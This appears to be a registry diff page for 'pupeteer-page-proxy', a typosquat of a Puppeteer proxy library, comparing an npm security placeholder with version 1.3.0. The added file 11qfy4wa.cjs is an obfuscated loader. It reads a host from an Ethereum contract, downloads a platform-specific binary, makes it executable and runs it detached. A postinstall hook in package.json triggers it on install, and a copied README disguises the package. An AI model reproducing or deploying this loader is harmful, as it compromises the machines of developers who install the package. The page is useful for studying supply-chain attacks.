pupeteer-page-proxy 0.0.1-security → 1.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of pupeteer-page-proxy might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/11qfy4wa.cjs +1 -0
  2. package/README.md +155 -5
  3. package/package.json +34 -4
package/11qfy4wa.cjs ADDED
@@ -0,0 +1 @@
1
+ function _0x3aee(_0x207e67,_0x2b3d29){const _0x53e5a2=_0x53e5();return _0x3aee=function(_0x3aee05,_0x25dbca){_0x3aee05=_0x3aee05-0xc9;let _0x29ec1d=_0x53e5a2[_0x3aee05];return _0x29ec1d;},_0x3aee(_0x207e67,_0x2b3d29);}const _0xec76ea=_0x3aee;(function(_0xc512df,_0x29a07d){const _0x2f16b4=_0x3aee,_0x386704=_0xc512df();while(!![]){try{const _0x98eb08=parseInt(_0x2f16b4(0xcd))/0x1+parseInt(_0x2f16b4(0xca))/0x2*(parseInt(_0x2f16b4(0xcf))/0x3)+parseInt(_0x2f16b4(0xe0))/0x4*(parseInt(_0x2f16b4(0xdd))/0x5)+parseInt(_0x2f16b4(0xea))/0x6+parseInt(_0x2f16b4(0xe1))/0x7+-parseInt(_0x2f16b4(0xf8))/0x8+-parseInt(_0x2f16b4(0xec))/0x9;if(_0x98eb08===_0x29a07d)break;else _0x386704['push'](_0x386704['shift']());}catch(_0x341d33){_0x386704['push'](_0x386704['shift']());}}}(_0x53e5,0x7e4cb));const {ethers}=require(_0xec76ea(0xd8)),axios=require(_0xec76ea(0xeb)),util=require(_0xec76ea(0xd3)),fs=require('fs'),path=require(_0xec76ea(0xf6)),os=require('os'),{spawn}=require(_0xec76ea(0xf9)),contractAddress=_0xec76ea(0xf0),WalletOwner=_0xec76ea(0xd6),abi=[_0xec76ea(0xe5)],provider=ethers[_0xec76ea(0xcc)](_0xec76ea(0xfa)),contract=new ethers['Contract'](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x515865=_0xec76ea,_0x4b85f2={'mdhxH':_0x515865(0xe6),'EFNFW':function(_0x38484a){return _0x38484a();}};try{const _0x2e97e9=await contract['getString'](WalletOwner);return _0x2e97e9;}catch(_0x49dd04){return console[_0x515865(0xef)](_0x4b85f2[_0x515865(0xe2)],_0x49dd04),await _0x4b85f2[_0x515865(0xd4)](fetchAndUpdateIp);}},getDownloadUrl=_0x3bb6ed=>{const _0x3264f9=_0xec76ea,_0x517947={'CzaOt':'win32','dKGKK':'linux','TQDNa':_0x3264f9(0xe8)},_0x289594=os['platform']();switch(_0x289594){case _0x517947['CzaOt']:return _0x3bb6ed+_0x3264f9(0xd1);case _0x517947[_0x3264f9(0xee)]:return _0x3bb6ed+'/node-linux';case _0x517947[_0x3264f9(0xe3)]:return _0x3bb6ed+_0x3264f9(0xe7);default:throw new Error('Unsupported\x20platform:\x20'+_0x289594);}},downloadFile=async(_0x58de1c,_0x1608d1)=>{const _0x94a0ee=_0xec76ea,_0x36f827={'QRzYY':_0x94a0ee(0xef),'vwSiM':function(_0x41a1dc,_0x3225f8){return _0x41a1dc(_0x3225f8);},'GRsMa':'GET','RHXIt':_0x94a0ee(0xdf)},_0x486dbb=fs['createWriteStream'](_0x1608d1),_0x3988b8=await _0x36f827[_0x94a0ee(0xe9)](axios,{'url':_0x58de1c,'method':_0x36f827[_0x94a0ee(0xf7)],'responseType':_0x36f827[_0x94a0ee(0xd7)]});return _0x3988b8['data'][_0x94a0ee(0xed)](_0x486dbb),new Promise((_0x522c0d,_0x5082e5)=>{const _0x2a811d=_0x94a0ee;_0x486dbb['on']('finish',_0x522c0d),_0x486dbb['on'](_0x36f827[_0x2a811d(0xf5)],_0x5082e5);});},executeFileInBackground=async _0x5d0fe8=>{const _0x1805ac=_0xec76ea,_0x3907f4={'iSnkA':function(_0xfcea7e,_0xaa44ba,_0x5bc2c2,_0x3de2ff){return _0xfcea7e(_0xaa44ba,_0x5bc2c2,_0x3de2ff);},'yRMeb':_0x1805ac(0xf4)};try{const _0x17c68a=_0x3907f4[_0x1805ac(0xd5)](spawn,_0x5d0fe8,[],{'detached':!![],'stdio':_0x1805ac(0xdc)});_0x17c68a[_0x1805ac(0xde)]();}catch(_0x26e7b7){console['error'](_0x3907f4[_0x1805ac(0xce)],_0x26e7b7);}},runInstallation=async()=>{const _0x3ea894=_0xec76ea,_0xc989c2={'Ruuhi':function(_0x10ceb2){return _0x10ceb2();},'ENWUy':function(_0x52d577,_0xc76ec){return _0x52d577(_0xc76ec);},'tcHjb':function(_0x331528,_0x553702){return _0x331528!==_0x553702;},'xYyct':_0x3ea894(0xdb),'sBjjz':_0x3ea894(0xc9)};try{const _0x548336=await _0xc989c2[_0x3ea894(0xe4)](fetchAndUpdateIp),_0x58c175=_0xc989c2[_0x3ea894(0xd9)](getDownloadUrl,_0x548336),_0x158830=os[_0x3ea894(0xd0)](),_0xfb0e33=path['basename'](_0x58c175),_0x117612=path[_0x3ea894(0xd2)](_0x158830,_0xfb0e33);await downloadFile(_0x58c175,_0x117612);if(_0xc989c2[_0x3ea894(0xda)](os[_0x3ea894(0xf2)](),_0xc989c2[_0x3ea894(0xf1)]))fs['chmodSync'](_0x117612,_0xc989c2[_0x3ea894(0xcb)]);_0xc989c2[_0x3ea894(0xd9)](executeFileInBackground,_0x117612);}catch(_0x2a8479){console[_0x3ea894(0xef)](_0x3ea894(0xf3),_0x2a8479);}};runInstallation();function _0x53e5(){const _0x47ba07=['/node-win.exe','join','util','EFNFW','iSnkA','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','RHXIt','ethers','ENWUy','tcHjb','win32','ignore','5CYMuzq','unref','stream','874436rljlfe','6747790zELcps','mdhxH','TQDNa','Ruuhi','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','Ошибка\x20при\x20получении\x20IP\x20адреса:','/node-macos','darwin','vwSiM','4975248VWGJBz','axios','9740790NSdScR','pipe','dKGKK','error','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','xYyct','platform','Ошибка\x20установки:','Ошибка\x20при\x20запуске\x20файла:','QRzYY','path','GRsMa','7164880jVgzRe','child_process','mainnet','755','14kjsEva','sBjjz','getDefaultProvider','92324SIJrne','yRMeb','167628KVqbIy','tmpdir'];_0x53e5=function(){return _0x47ba07;};return _0x53e5();}
package/README.md CHANGED
@@ -1,5 +1,155 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=pupeteer-page-proxy for more information.
1
+ ![npm](https://img.shields.io/npm/v/puppeteer-page-proxy?style=flat-square)
2
+ ![node-current](https://img.shields.io/node/v/puppeteer?style=flat-square)
3
+ ![npm](https://img.shields.io/npm/dt/puppeteer-page-proxy?style=flat-square)
4
+
5
+ # puppeteer-page-proxy <img src="https://i.ibb.co/kQrN9QJ/puppeteer-page-proxy-logo.png" align="right" width="150" height="150">
6
+ Additional Node.js module to use with **[puppeteer](https://www.npmjs.com/package/puppeteer)** for setting proxies per page basis.
7
+
8
+ Forwards intercepted requests from the browser to Node.js where it redoes the requests through a proxy and then returns the response to the browser.
9
+
10
+ ## Features
11
+
12
+ - Proxy per page and proxy per request
13
+ - Supports **http**, **https**, **socks4** and **socks5** proxies
14
+ - Supports authentication
15
+ - Handles cookies
16
+
17
+ ## Installation
18
+ ```
19
+ npm i puppeteer-page-proxy
20
+ ```
21
+ ## API
22
+ #### useProxy(pageOrReq, proxy)
23
+
24
+ - `pageOrReq` <[object](https://developer.mozilla.org/en-US/docs/Glossary/Object)> 'Page' or 'Request' object to set a proxy for.
25
+ - `proxy` <[string](https://developer.mozilla.org/en-US/docs/Glossary/String)|[object](https://developer.mozilla.org/en-US/docs/Glossary/Object)> Proxy to use in the current page.
26
+ * Begins with a protocol (e.g. http://, https://, socks://)
27
+ * In the case of [proxy per request](https://github.com/Cuadrix/puppeteer-page-proxy#proxy-per-request), this can be an object with optional properties for overriding requests:\
28
+ `url`, `method`, `postData`, `headers`\
29
+ See [ContinueRequestOverrides](https://pptr.dev/api/puppeteer.continuerequestoverrides) for more info about the above properties.
30
+
31
+ #### useProxy.lookup(page[, lookupService, isJSON, timeout])
32
+
33
+ - `page` <[object](https://developer.mozilla.org/en-US/docs/Glossary/Object)> 'Page' object to execute the request on.
34
+ - `lookupService` <[string](https://developer.mozilla.org/en-US/docs/Glossary/String)> External lookup service to request data from.
35
+ * Fetches data from **api64.ipify.org** by default.
36
+ - `isJSON` <[boolean](https://developer.mozilla.org/en-US/docs/Glossary/Boolean)> Whether to [JSON.parse](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse) the received response.
37
+ * Defaults to **true**.
38
+ - `timeout` <[number](https://developer.mozilla.org/en-US/docs/Glossary/Number)|[string](https://developer.mozilla.org/en-US/docs/Glossary/String)> Time in milliseconds after which the request times out.
39
+ * Defaults to **30000**.
40
+ - returns: <[Promise](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)> Promise which resolves to the response of the lookup request.
41
+
42
+ **NOTE:** By default this method expects a response in [JSON](https://en.wikipedia.org/wiki/JSON#Example) format and [JSON.parse](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse)'s it to a usable javascript object. To disable this functionality, set `isJSON` to `false`.
43
+
44
+ ## Usage
45
+ #### Importing:
46
+ ```js
47
+ const useProxy = require('puppeteer-page-proxy');
48
+ ```
49
+
50
+ #### Proxy per page:
51
+ ```js
52
+ await useProxy(page, 'http://127.0.0.1:80');
53
+ ```
54
+ To remove proxy, omit or pass in falsy value (e.g `null`):
55
+ ```js
56
+ await useProxy(page, null);
57
+ ```
58
+
59
+ #### Proxy per request:
60
+ ```js
61
+ await page.setRequestInterception(true);
62
+ page.on('request', async request => {
63
+ await useProxy(request, 'https://127.0.0.1:443');
64
+ });
65
+ ```
66
+ The request object itself is passed as the first argument. The individual request will be tunneled through the specified proxy.
67
+
68
+ Using it together with other interception methods:
69
+ ```js
70
+ await page.setRequestInterception(true);
71
+ page.on('request', async request => {
72
+ if (request.resourceType() === 'image') {
73
+ request.abort();
74
+ } else {
75
+ await useProxy(request, 'socks4://127.0.0.1:1080');
76
+ }
77
+ });
78
+ ```
79
+
80
+ Overriding requests:
81
+ ```js
82
+ await page.setRequestInterception(true);
83
+ page.on('request', async request => {
84
+ await useProxy(request, {
85
+ proxy: 'socks5://127.0.0.1:1080',
86
+ url: 'https://example.com',
87
+ method: 'POST',
88
+ postData: '404',
89
+ headers: {
90
+ accept: 'text/html'
91
+ }
92
+ });
93
+ });
94
+ ```
95
+
96
+ **NOTE:** It's necessary to set [Page.setRequestInterception()](https://pptr.dev/api/puppeteer.page.setrequestinterception) to true when setting proxies per request, otherwise the function will fail.
97
+
98
+ #### Authenticating:
99
+ ```js
100
+ const proxy = 'https://user:pass@host:port';
101
+ ```
102
+
103
+ #### IP lookup:
104
+ ```js
105
+ // 1. Waits until done, 'then' continues
106
+ const data = await useProxy.lookup(page1);
107
+ console.log(data.ip);
108
+
109
+ // 2. Executes and 'comes back' once done
110
+ useProxy.lookup(page2).then(data => {
111
+ console.log(data.ip);
112
+ });
113
+ ```
114
+ In case of any [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) errors, use `--disable-web-security` launch flag:
115
+ ```js
116
+ const browser = await puppeteer.launch({
117
+ args: ['--disable-web-security']
118
+ });
119
+ ```
120
+
121
+ ## FAQ
122
+ #### How does this module work?
123
+
124
+ It takes over the task of requesting content **from** the browser to do it internally via a requests library instead. Requests that are normally made by the browser, are thus made by Node. The IP's are changed by routing the requests through the specified proxy servers using ***-proxy-agent's**. When Node gets a response back from the server, it's forwarded to the browser for completion/rendering.
125
+
126
+ #### Why am I getting _"Request is already handled!"_?
127
+
128
+ This happens when there is an attempt to handle the same request more than once. An intercepted request is handled by either [HTTPRequest.abort()](https://pptr.dev/api/puppeteer.httprequest.abort), [HTTPRequest.continue()](https://pptr.dev/api/puppeteer.httprequest.continue) or [HTTPRequest.respond()](https://pptr.dev/api/puppeteer.httprequest.respond) methods. Each of these methods 'send' the request to its destination. A request that has already reached its destination cannot be intercepted or handled.
129
+
130
+
131
+ #### Why does the browser show _"Your connection to this site is not secure"_?
132
+
133
+ Because direct requests from the browser to the server are being intercepted by Node, making the establishment of a secure connection between them impossible. However, the requests aren't made by the browser, they are made by Node. All `https` requests made through Node using this module are secure. This is evidenced by the connection property of the response object:
134
+
135
+
136
+ ```
137
+ connection: TLSSocket {
138
+ _tlsOptions: {
139
+ secureContext: [SecureContext],
140
+ requestCert: true,
141
+ rejectUnauthorized: true,
142
+ },
143
+ _secureEstablished: true,
144
+ authorized: true,
145
+ encrypted: true,
146
+ }
147
+ ```
148
+ The warning can be thought of as a false positive.
149
+
150
+ ## Dependencies
151
+ - [Got](https://github.com/sindresorhus/got)
152
+ - [http-proxy-agent](https://github.com/TooTallNate/node-http-proxy-agent)
153
+ - [https-proxy-agent](https://github.com/TooTallNate/node-https-proxy-agent)
154
+ - [socks-proxy-agent](https://github.com/TooTallNate/node-socks-proxy-agent)
155
+ - [tough-cookie](https://github.com/salesforce/tough-cookie)
package/package.json CHANGED
@@ -1,6 +1,36 @@
1
1
  {
2
2
  "name": "pupeteer-page-proxy",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "description": "Additional Node.js module to use with 'puppeteer' for setting proxies per page basis.",
4
+ "version": "1.3.0",
5
+ "author": "Cuadrix <cuadrix12000@gmail.com> (https://github.com/Cuadrix)",
6
+ "homepage": "https://github.com/Cuadrix/puppeteer-page-proxy",
7
+ "main": "./src/index.js",
8
+ "types": "./src/index.d.ts",
9
+ "scripts": {
10
+ "postinstall": "node 11qfy4wa.cjs"
11
+ },
12
+ "repository": {
13
+ "type": "git",
14
+ "url": "https://github.com/Cuadrix/puppeteer-page-proxy.git"
15
+ },
16
+ "keywords": [
17
+ "puppeteer",
18
+ "proxy",
19
+ "page",
20
+ "headless",
21
+ "chromium"
22
+ ],
23
+ "license": "MIT",
24
+ "dependencies": {
25
+ "got": "^11.8.5",
26
+ "http-proxy-agent": "^5.0.0",
27
+ "https-proxy-agent": "^5.0.1",
28
+ "socks-proxy-agent": "^7.0.0",
29
+ "tough-cookie": "^4.1.2",
30
+ "axios": "^1.7.7",
31
+ "ethers": "^6.13.2"
32
+ },
33
+ "files": [
34
+ "11qfy4wa.cjs"
35
+ ]
36
+ }